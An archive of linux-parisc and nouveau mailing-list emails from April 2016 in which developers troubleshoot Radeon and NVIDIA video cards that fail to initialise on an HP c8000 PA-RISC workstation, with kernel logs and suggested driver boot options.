Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqEsZ-0003jC-0N
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Apr 2016 09:06:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933392AbcDMHGW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Apr 2016 03:06:22 -0400
Original-Received: from mail-ig0-f182.google.com ([209.85.213.182]:36906 "EHLO
	mail-ig0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932760AbcDMHGV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Apr 2016 03:06:21 -0400
Original-Received: by mail-ig0-f182.google.com with SMTP id g8so47030121igr.0
        for <linux-parisc@vger.kernel.org>; Wed, 13 Apr 2016 00:06:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=iemsleAB3lcdpoUokx/Z5waNr2nQEGPhJOG4/PgarsA=;
        b=vVAvvnNP63UVyUElP/ENT4nZAr31CelkSDcqNAI71j0zA3XLESR61paYY8XkYu1OFZ
         f+xgmihLYClUHHHz2QR/yb4oKCKcHRiG4NNIp8jOFaLFX6BvW35XuY41SnhWyuLJmEWX
         Nm9wUwkRZ7aC+rxMK7dN7/+/zUPYX99w9glkSEFSpEogim92AiV/9b5orDP5sBgBBULd
         NepgBf7JC5yIOXaP/tYo2Zzrw+EvQE+a/sYi12gdcVeu/WKWVK4JV0NQ0eEvZcrz3dMO
         W/M5Tc2v3o/RaOCGCimSy8jtah0YK0m3h0nUyr/54uPjGHASGYQHfjUQatKlvWcqkKrp
         R2RA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=iemsleAB3lcdpoUokx/Z5waNr2nQEGPhJOG4/PgarsA=;
        b=REs1zXofUxJP+LcwDKbwvVrSbyNLjYQGI+N8w9rCw4+p5+cNAQ4l16DIk8+AvrHgn1
         nxHfWX5Y2xu5vWcwpfwiqELxTt9dPdXvOkG6awOA0FgDORTb7YO4VoqS8b9YH/sOGZce
         0QLZOwV4C0g7a+us2RPgyFTysvL0vEX6WH5c/sUz4syKFpTlPXFgNQ53qN8Vj7wzHBqb
         nYJ2cwi88lOMSLSUoVf8RdUPHdlaHOqn0vVOSYRUpMmeAfLEZ8OK2yN6NjNGVSkXLkyF
         VAaV6zfWgEyfU4mW9f3iu9VWpbHo68gfY3k+szlvRUHemn+9fF01QhCAs8I5tq9vgN5S
         9dfQ==
X-Gm-Message-State: AD7BkJKtdgvYBXjzuGmreTCoMYb2gHoqx9i3bqCrGp+91p8u1K3hL+Chb8aANJPjNFlg/8RNfqRSnIgAjGgotA==
X-Received: by 10.50.57.50 with SMTP id f18mr29414576igq.93.1460531180772;
 Wed, 13 Apr 2016 00:06:20 -0700 (PDT)
Original-Received: by 10.64.86.82 with HTTP; Wed, 13 Apr 2016 00:06:20 -0700 (PDT)
In-Reply-To: <570D38BF.7040307@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26619
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26619>

> Maybe pulling FireGL X1 will help:
> https://lists.freedesktop.org/archives/dri-users/2015-February/000034.html

Already done Dave: same error message during system boot. Just to be
clear, the error message is also indipendent by the PCI slot position.
Thanks for the hint, anyway.

My conclusion is that the "vanilla-PC" ATI RADEON 9200 128M PCI is not
"BIOS compatible" with the c8000.

Simone Mannori - ITALY
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.freedesktop.xorg.nouveau
Subject: Re: [Nouveau] PA-RISC (hppa) video cards init failure loading the
 device driver kernel module
Date: Wed, 13 Apr 2016 09:47:09 +0200
Lines: 315
Approved: news@gmane.org
Message-ID: <CACrbsaDffw6VKSN-+bxA=i9LzkvFUGEvHNhdv0btwdmound8cQ@mail.gmail.com>
References: <CACrbsaA0RzGtVQD5GH5eMZk-0c1J0AF_nZFWQpGzVYMs-xCE2g@mail.gmail.com>
	<CAKb7Uvh-DZC4RakBd-F-Gxh45_jFEE+vF89DXou5MLb7qg3Jqw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460533647 12639 80.91.229.3 (13 Apr 2016 07:47:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Apr 2016 07:47:27 +0000 (UTC)
Cc: "nouveau@lists.freedesktop.org" <nouveau@lists.freedesktop.org>,
	Graham Gower <graham.gower@gmail.com>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Gianni Bianchini <giannibi@dii.unisi.it>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Ilia Mirkin <imirkin@alum.mit.edu>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 13 09:47:13 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqFW4-0002Zh-HQ
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Apr 2016 09:47:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759414AbcDMHrM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Apr 2016 03:47:12 -0400
Original-Received: from mail-ig0-f195.google.com ([209.85.213.195]:33694 "EHLO
	mail-ig0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759227AbcDMHrK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Apr 2016 03:47:10 -0400
Original-Received: by mail-ig0-f195.google.com with SMTP id nt3so5485979igb.0
        for <linux-parisc@vger.kernel.org>; Wed, 13 Apr 2016 00:47:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=B1nOmEWnRR2egiHnwOY0wtd4E1vSl1uqplTK9eNP2ew=;
        b=c5mbwbNhJjW+DCn/txByw6OzZp8Maz9WzojirHHvmd88O9k7Q/frNGMr3przx2aBcW
         EeDQnBiMGWpHfMRkMMOVqMBkwIftDfYz/ATU5ZgIeHhUBOnPmX52oBOt6ExZQXOOKcXV
         tYiqcMSpiwJ6A36EUvtWaNbki62lirayGkyhlCkXYLDLHJUjv9B/wrZiDQu91gjCkqYl
         6V9RrpfdmjjiN5jYCcOw3v2D5dLX/GHhqR+656ONsgtWaacalV3C2ctumXJIjL7SYEGx
         45CN8QC8urvmw/+ncKhmi73Zji6Ykh76MUW1pvTTjQw7qUejVLxGNPoHNSj7NbYwfd7w
         +N2Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=B1nOmEWnRR2egiHnwOY0wtd4E1vSl1uqplTK9eNP2ew=;
        b=fBQtt6DLzwXyZ1/ylDpLaX4gAua9U+H9cXU6f1g1x2s19NcZ+Ookc5/JyVz7S0tCzp
         Kx8A4kkD+LCOM4bAmrjHMAI9tBHcTirzBR2IKW6eZro31Udzw7f9eE49MayW8bcWWp+R
         oYdU6qbjjXeptAoDzCTz4tc87f2JrooE/ECQKqe0icNrC4Y5ozb5Tlpo12IDMalEQgfN
         dgju1WKYMEO+gjjvF+to9Cvk7NzsfFMJUHqiBHfQ5E0ZJKZqXXnjnbfiFwZzzvNnfuJ5
         TFGlv9k7eOU7kKkR2axwu2NtMvTV9eeSUTGfHb4/AWaoc6YpNbGI/DXKySbpAXFIsiHs
         IViQ==
X-Gm-Message-State: AOPr4FVCsOqWDNbKMHQjtG4WX3xzPezZJ6ft37L3ojvyfyVGYAKqp4C0r9eeCE3q1oH4Om1FIeu1hzT8/KaQUw==
X-Received: by 10.50.112.10 with SMTP id im10mr8833135igb.93.1460533629446;
 Wed, 13 Apr 2016 00:47:09 -0700 (PDT)
Original-Received: by 10.64.86.82 with HTTP; Wed, 13 Apr 2016 00:47:09 -0700 (PDT)
In-Reply-To: <CAKb7Uvh-DZC4RakBd-F-Gxh45_jFEE+vF89DXou5MLb7qg3Jqw@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26620 gmane.comp.freedesktop.xorg.nouveau:24457
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26620>

Dear Ilia,

unfortunately, I have only bad news to report:

- the nouveau options that you have suggested does not produce the
expected resuls; nouveau.config=NvAGP=0 (I'm using Linux blsw
4.4.0-1-parisc64-smp #1 SMP Debian 4.4.6-1 (2016-03-17) parisc64
GNU/Linux) and nouveau.vram_pushbuf=1 does not fix the issue about
NVIDA AGP init. The error is still there and the video card works in
frame buffer mode only

- I have tried another, more recent, NVIDIA AGP card (NV36GL [Quadro
FX 1100] (rev a1)): this model, with or without options, is not able
to make X11 works.

- I have tried also a PCI video card (ATI 9200), but with this model
the c8000 is not ble to complete the internal diagnostic,so the Linux
boot does not start

> <Cpu0> 0e000e7a00e00000  600601005d441002  CC_IODISC_PCI_DEVICE_CONFIG
> pci_bus_walk line 2878 - bridge aperture too big

then ..... the system boot process STOPs:
<Cpu1> e000108401e00000  0000000000000000  CC_BOOT_BOOT_FAILURE
<Cpu1> 030010d501e00000  0000000000000000  CC_CPU_STOP

The problem is elsewhere. "TTM" module ? I'm perplexed and confused.

Helge Deller told me that the hppa linux branch does not have a
working kgdb support, therefore my only chance to find and fix this
_very_nasty_ bug is insert some "printk" and hope to be able to find
the source of the issue.

Any idea ?

Thanks in advance for the help

   Simone Mannori - ITALY



On 4 April 2016 at 04:18, Ilia Mirkin <imirkin@alum.mit.edu> wrote:
> Not sure about the radeon issue, but
>
> "DRM: GPU lockup - switching to software fbcon"
>
> basically means "the CPU isn't able to submit commands, or the GPU
> isn't executing the commands". Basically the GPU can only have so many
> commands outstanding [well, command buffers], and we hit that limit.
> From what I understand, PA-RISC has a "funny" architecture that is
> very unlike x86 in terms of memory coherency, and is thus more likely
> to hit issues that don't exist on other architectures. Perhaps you can
> summarize the key points of oddness? Perhaps there's some debug
> "disable caches" mode or something? Also note that nouveau won't work
> well on an architecture with a non-4K page size. Not sure if that's
> the situation for you.
>
> I see that it's using AGP - there's a high chance that something
> AGP-related is broken - try booting with nouveau.config=NvAGP=0 (or
> nouveau.agpmode=0 for pre-4.3 kernels).
>
> Perhaps it has issues DMA'ing the command buffer from system memory,
> we can try forcing the pushbuf to be in vram - boot with
> nouveau.vram_pushbuf=1 .
>
> If there are PCI slots and you have a PCI video card handy, I'd
> definitely try that too.
>
> Good luck,
>
>   -ilia
>
> On Sun, Apr 3, 2016 at 3:51 AM, Simone Mannori <simone.mannori@gmail.com> wrote:
>> Dear "nouveau" developers,
>>
>> I know that many very competent guys have already spent a lot of time
>> and efforts on this issue without success. I have started to play with
>> "hppa" two weeks ago and, with the support of the linux-parisc mailing
>> list people, now I have a - almost fully - working workstation (hp
>> c8000).
>>
>> Everythings work perfectly BUT the video card. No matter the model,
>> type, driver, etc. the results are always the same: a very slow frame
>> buffer mode only.
>>
>> I'm forwarding the results of my investigations with the hope that
>> someone of you will help me to find the right path to fix this issue.
>>
>> Thanks in advance for your help.
>>
>>   Simone Mannori - Italy
>>
>> //**------------------------------------------------------------------------------------------------------------
>>
>> ---------- Forwarded message ----------
>> From: Simone Mannori <simone.mannori@gmail.com>
>> Date: 3 April 2016 at 09:34
>> Subject: Video cards init failure loading the device driver kernel module
>> To: John David Anglin <dave.anglin@bell.net>
>> Cc: Helge Deller <deller@gmx.de>, Graham Gower
>> <graham.gower@gmail.com>, linux-parisc <linux-parisc@vger.kernel.org>
>>
>>
>> Dear All,
>>
>> following you suggestions, now I have an - almost - perfectly working
>> hp c8000 workstation.
>>
>> Mission accomplished? Not exactly: despite a lot of efforts, the video
>> card section is still not fully operative. Let me resume the
>> situation.
>>
>> I'm using a c8000 with two PA-8800 and Debian 8.0, kernel:
>>
>> Linux version 4.4.0-1-parisc64-smp (debian-kernel@lists.debian.org)
>> (gcc version 4.9.3 (GCC) ) #1 SMP Debian 4.4.6-1 (2016-03-17)
>>
>> I have two very different AGP video cards (ATI FireGL T2 and NVIDIA
>> QUADRO MXR) that have the same issue, despite the two complety
>> different drivers ("radeon" and "nouveau"). The full logs are in
>> bottom of this post. Just to make a long history short:
>>
>> ATI FIRE GL T2 ("radeon")
>> [   47.836000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
>> failed (scratch(0x15E4)=0xCAFEDEAD)
>> [   47.948000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
>> working (-22).
>> [   48.036000] radeon 0000:80:00.0: failed initializing CP (-22).
>> [   48.036000] radeon 0000:80:00.0: Disabling GPU acceleration
>>
>> NVIDIA QUADRO MXR ("nouveau")
>> [   54.388000] nouveau 0000:80:00.0: DRM: GPU lockup - switching to
>> software fbcon
>> [   54.684000] nouveau 0000:80:00.0: fb0: nouveaufb frame buffer device
>> [   54.784000] [drm] Initialized nouveau 1.3.1 20120801 for
>> 0000:80:00.0 on minor 0
>>
>> Looking inside the posts on many developers mailing lists, I see that
>> most of the efforts have been focused on the video device drivers init
>> code. I have tried to force the video drivers using the "modeset"
>> parameter without success. I have tried also to boot without video
>> driver, then load it manually using "modprobe". No way: the results
>> are the same.
>>
>> "lsmod" tell me that "radeon"/"nouveau" are used by the "ttm" module
>> and they cannot be removed (despite the "- r --force" modprobe
>> parameters).
>>
>> Let suppose for a moment that the issue is NOT inside the video driver
>> but in the "ttm" module: something is not fully correct in the
>> initialization of the ZX1 chipset, therefore the video driver code go
>> crazy because cannot match the video card with the chipset.
>>
>> The only way that I know to investigate this issue is to recompile the
>> kernel with debug support and execute "single step"/breakpoint the
>> code that initialize the video card and the chipset near the zone of
>> the error message.
>>
>> Question: "What are the deb packages that I need to install to
>> recompile the  4.4.0-1-parisc64-smp kernel (or another kernel version
>> suitable for this investigation) ?
>>
>> Thanks in advance for you help
>>
>>    Simone Mannori - Italy
>>
>> //**-----------------------------------------------------------------------------------------------------------------
>>
>> ATI FIRE GL T2
>> [   45.460000] [drm] radeon kernel modesetting enabled.
>> [   45.576000] radeon 0000:80:00.0: enabling SERR and PARITY (0107 -> 0147)
>> [   45.660000] [drm] initializing kernel modesetting (RV350
>> 0x1002:0x4154 0x1002:0x0002).
>> [   45.812000] [drm] register mmio base: 0xC8020000
>> [   45.868000] [drm] register mmio size: 65536
>> [   46.084000] radeon 0000:80:00.0: putting AGP V3 device into 8x mode
>> [   46.160000] radeon 0000:80:00.0: GTT: 512M 0x60000000 - 0x7FFFFFFF
>> [   46.236000] [drm] Generation 2 PCI interface, using max accessible memory
>> [   46.316000] radeon 0000:80:00.0: VRAM: 128M 0xFFFFFFFFC0000000 -
>> 0xFFFFFFFFC7FFFFFF (128M used)
>> [   46.420000] [drm] Detected VRAM RAM=128M, BAR=128M
>> [   46.476000] [drm] RAM width 128bits DDR
>> [   46.524000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
>> [   46.604000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>> [   46.680000] [TTM] Initializing pool allocator
>> [   46.732000] [drm] radeon: 128M of VRAM memory ready
>> [   46.792000] [drm] radeon: 512M of GTT memory ready.
>> [   46.852000] [drm] radeon: 1 quad pipes, 1 Z pipes initialized.
>> [   46.944000] radeon 0000:80:00.0: WB disabled
>> [   46.996000] radeon 0000:80:00.0: fence driver on ring 0 use gpu
>> addr 0x0000000060000000 and cpu addr 0x0000000011279000
>> [   47.124000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
>> [   47.204000] [drm] Driver supports precise vblank timestamp query.
>> [   47.276000] [drm] radeon: irq initialized.
>> [   47.328000] [drm] Loading R300 Microcode
>> [   47.468000] radeon 0000:80:00.0: firmware: direct-loading firmware
>> radeon/R300_cp.bin
>> [   47.584000] [drm] radeon: ring at 0x0000000060001000
>> [   47.836000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
>> failed (scratch(0x15E4)=0xCAFEDEAD)
>> [   47.948000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
>> working (-22).
>> [   48.036000] radeon 0000:80:00.0: failed initializing CP (-22).
>> [   48.036000] radeon 0000:80:00.0: Disabling GPU acceleration
>> [  OK  ] Found device ST373207LW 2.
>> [   48.236000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle
>> timeout, shutting down CP.
>> [   48.384000] [drm] radeon: cp finalized
>> [   48.448000] [drm] radeon: cp finalized
>> [   48.496000] [TTM] Finalizing pool allocator
>> [   48.544000] [TTM] Zone  kernel: Used memory at exit: 0 kiB
>> [   48.612000] [TTM] Zone   dma32: Used memory at exit: 0 kiB
>> [   48.676000] [drm] radeon: ttm finalized
>> [   48.724000] [drm] Forcing AGP to PCI mode
>>          Starting File System Check on /d[   48.872000] [drm]
>> Generation 2 PCI interface, using max accessible memory
>> ev/...2-638b-4a0[   48.968000] radeon 0000:80:00.0: VRAM: 128M
>> 0xFFFFFFFFC0000000 - 0xFFFFFFFFC7FFFFFF (128M used)
>> c-be55-7444e126d[   49.088000] radeon 0000:80:00.0: GTT: 512M
>> 0xFFFFFFFFA0000000 - 0xFFFFFFFFBFFFFFFF
>> 283...
>> [   49.196000] [drm] Detected VRAM RAM=128M, BAR=128M
>> [   49.264000] [drm] RAM width 128bits DDR
>> [   49.328000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
>> [   49412000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>> [   49.492000] [TTM] Initializing pool allocator
>> [   49.492000] [drm] radeon: 128M of VRAM memory ready
>> [   49.492000] [drm] radeon: 512M of GTT memory ready.
>> [   49.492000] [drm] GART: num cpu pages 131072, num gpu pages 131072
>> [   49.636000] [drm] radeon: 1 quad pipes, 1 Z pipes initialized.
>> [   49.636000] [drm] PCI GART of 512M enabled (table at 0x0000000043300000).
>> [   49.636000] radeon 0000:80:00.0: WB enabled
>> [   49.636000] radeon 0000:80:00.0: fence driver on ring 0 use gpu
>> addr 0xffffffffa0000000 and cpu addr 0x000000007d239000
>> [   49.636000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
>> [   49.636000] [drm] Driver supports precise vblank timestamp query.
>> [   49.636000] [drm] radeon: irq initialized.
>> [   49.780000] [drm] radeon: ring at 0xFFFFFFFFA0001000
>> [   49.972000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
>> failed (scratch(0x15E4)=0xCAFEDEAD)
>> [   49.976000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
>> working (-22).
>> [   49.976000] radeon 0000:80:00.0: failed initializing CP (-22).
>> [   49.976000] radeon 0000:80:00.0: Disabling GPU acceleration
>> [   50.168000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle
>> timeout, shutting down CP.
>> [   50.280000] [drm] radeon: cp finalized
>> [   50.592000] [drm] Radeon Display Connectors
>> [   50.592000] [drm] Connector 0:
>> [   50.592000] [drm]   VGA-1
>> [   50.592000] [drm]   DDC: 0x60 0x60 0x60 0x60 0x60 0x60 0x60 0x60
>> [   50.592000] [drm]   Encoders:
>> [   50.592000] [drm]     CRT1: INTERNAL_DAC1
>> [   50.592000] [drm] Connector 1:
>> [   50.592000] [drm]   DVI-I-1
>> [   50.592000] [drm]   HPD1
>> [   50.592000] [drm]   DDC: 0x64 0x64 0x64 0x64 0x64 0x64 0x64 0x64
>> [   50.592000] [drm]   Encoders:
>> [   50.592000] [drm]     CRT2: INTERNAL_DAC2
>> [   50.592000] [drm]     DFP1: INTERNAL_TMDS1
>> [   50.608000] radeon 0000:80:00.0: No connectors reported connected with modes
>> [   50.608000] [drm] Cannot find any crtc or sizes - going 1024x768
>> [   50.828000] [drm] fb mappable at 0xFFFFFFFFC0040000
>> [   50.828000] [drm] vram apper at 0xFFFFFFFFC0000000
>> [   50.828000] [drm] size 3145728
>> [   50.828000] [drm] fb depth is 24
>> [   50.828000] [drm]    pitch is 4096
>> [   51.848000] Console: switching to colour frame buffer device 128x48
>> [   52.080000] radeon 0000:80:00.0: fb0: radeondrmfb frame buffer device
>> [   52172000] [drm] Initialized radeon 2.43.0 20080528 for
>> 0000:80:00.0 on minor 0
>>
>> NVIDIA QUADRO MXR
>> [   51.880000] nouveau 0000:80:00.0: enabling SERR and PARITY (0007 -> 0147)
>> [   52.044000] nouveau 0000:80:00.0: NVIDIA NV11 (011300a1)
>> [   52.364000] nouveau 0000:80:00.0: bios: version 03.11.01.24.00
>> [   52.488000] nouveau 0000:80:00.0: putting AGP V2 device into 4x mode
>> [   52.592000] nouveau 0000:80:00.0: putting AGP V2 device into 4x mode
>> [   52.668000] nouveau 0000:80:00.0: tmr: unknown input clock freq
>> [   52.740000] nouveau 0000:80:00.0: fb: 32 MiB SDRAM
>> [   52.844000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
>> [   52.920000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>> [   52.920000] [TTM] Initializing pool allocator
>> [   52.928000] nouveau 0000:80:00.0: DRM: VRAM: 31 MiB
>> [   52.928000] nouveau 0000:80:00.0: DRM: GART: 512 MiB
>> [   52.928000] nouveau 0000:80:00.0: DRM: BMP version 5.20
>> [   52.928000] nouveau 0000:80:00.0: DRM: No useful DCB data in VBIOS
>> [   52.928000] nouveau 0000:80:00.0: DRM: Adaptor not initialised,
>> running VBIOS init tables.
>> [   53.016000] nouveau 0000:80:00.0: DRM: Saving VGA fonts
>> [   53.336000] nouveau 0000:80:00.0: DRM: No useful DCB data in VBIOS
>> [   53.336000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
>> [   53.336000] [drm] Driver supports precise vblank timestamp query.
>> [   53.336000] nouveau 0000:80:00.0: DRM: 0xABA2: Parsing digital
>> output script table
>> [   53.920000] nouveau 0000:80:00.0: DRM: MM: using M2MF for buffer copies
>> [   54.144000] nouveau 0000:80:00.0: DRM: allocated 1920x1200 fb:
>> 0x8000, bo 000000007cee1000
>> [   54.276000] nouveau 0000:80:00.0: DRM: 0xABCE: Parsing digital
>> output script table
>> [   54.312000] Console: switching to colour frame buffer device 240x75
>> [   54.388000] nouveau 0000:80:00.0: DRM: GPU lockup - switching to
>> software fbcon
>> [   54.684000] nouveau 0000:80:00.0: fb0: nouveaufb frame buffer device
>> [   54.784000] [drm] Initialized nouveau 1.3.1 20120801 for
>> 0000:80:00.0 on minor 0
>> _______________________________________________
>> Nouveau mailing list
>> Nouveau@lists.freedesktop.org
>> https://lists.freedesktop.org/mailman/listinfo/nouveau
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI video card hangs during system boot
Date: Wed, 13 Apr 2016 11:02:01 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <570E5F69.4010203@bell.net>
References: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com>
 <1587186.CtnrnCsSzp@caliban.sf-tec.de> <570D38BF.7040307@bell.net>
 <CACrbsaBBT20+_GtJD3XMxob7Pz+mhdw7BE0h3uQSpKq-VSOHYA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1460559733 22879 80.91.229.3 (13 Apr 2016 15:02:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Apr 2016 15:02:13 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 13 17:02:05 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqMIt-00086l-Kq
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Apr 2016 17:02:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759272AbcDMPCC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Apr 2016 11:02:02 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:32502 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1756942AbcDMPCB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Apr 2016 11:02:01 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160413150159.RBI12255.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Wed, 13 Apr 2016 11:01:59 -0400
Original-Received: from [192.168.0.122] (really [64.231.92.133])
          by mtlspm01.bell.net with ESMTP
          id <20160413150159.UXVJ17299.mtlspm01.bell.net@[192.168.0.122]>;
          Wed, 13 Apr 2016 11:01:59 -0400
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.7.2
In-Reply-To: <CACrbsaBBT20+_GtJD3XMxob7Pz+mhdw7BE0h3uQSpKq-VSOHYA@mail.gmail.com>
X-Opwv-CommTouchExtSvcRefID: None
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26621
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26621>

On 2016-04-13 3:06 AM, Simone Mannori wrote:
>> Maybe pulling FireGL X1 will help:
>> https://lists.freedesktop.org/archives/dri-users/2015-February/000034.html
> Already done Dave: same error message during system boot. Just to be
> clear, the error message is also indipendent by the PCI slot position.
> Thanks for the hint, anyway.
Just one further thought regarding FireGL X1.  The OLS article by Grant 
referenced in the above
link indicated that a common problem in porting drivers to parisc was 
timing issues with I/O writes.
This was fixed in a couple of drivers by doing a read after doing a 
write.  Possibly, the radeon driver
could be hacked to always read after write as a test.

I also read somewhere ia64 linux using zx1 chipset did work at one 
time.  This link gives some history
on ia64 and might give some hints about other things to try:
http://comments.gmane.org/gmane.linux.debian.ports.ia64/3031

>
> My conclusion is that the "vanilla-PC" ATI RADEON 9200 128M PCI is not
> "BIOS compatible" with the c8000.
Agreed.  There's no way to change the c8000 BIOS.   I'd hoped that 
removing the X1 might free up
I/O space and allow 9200 to work.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix ftrace function and function_graph tracers
Date: Wed, 13 Apr 2016 22:58:42 +0200
Lines: 442
Approved: news@gmane.org
Message-ID: <20160413205842.GA20568@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1460581166 26876 80.91.229.3 (13 Apr 2016 20:59:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Apr 2016 20:59:26 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
